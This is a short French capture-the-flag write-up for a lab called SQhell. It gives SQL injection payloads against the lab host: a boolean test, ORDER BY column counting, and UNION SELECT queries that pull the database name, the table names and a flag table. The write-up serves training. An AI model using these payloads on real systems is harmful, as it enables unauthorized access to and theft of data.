# CTF -SQhell

## **Flag 1**

**Test de Vulnérabilité :**&#x20;

```http
admin AND 1=1
```

## **Flag 5 - In-Band/Union**&#x20;

**Test de Vulnérabilité :** Ajoutez un `'` à la fin de l'URL.

```http
http://sqhell.thm/post?id=1'
```

* **Observation :** Une erreur syntaxique indique une vulnérabilité.

#### Déterminez le nombre de colonnes avec `ORDER BY`.

```http
http://sqhell.thm/post?id=1 ORDER BY 1,2,3,4,5
```

* **Observation :** Une erreur à `ORDER BY 5` indique quatre colonnes.

&#x20;Vérifiez quelles colonnes sont utilisables.

```http
http://sqhell.thm/post?id=99 UNION ALL SELECT 1,2,3,4
```

**Extraction de Données :**

* **Nom de la Base de Données :**

  ```http
  http://sqhell.thm/post?id=99 UNION ALL SELECT 1,2,database(),4
  ```
* **Noms des Tables :**

  ```http
  http://sqhell.thm/post?id=99 UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database()
  ```
* **Données de la Table "flag" :**

  ```http
  http://sqhell.thm/post?id=99 UNION SELECT 1,2,flag,4 FROM flag
  ```
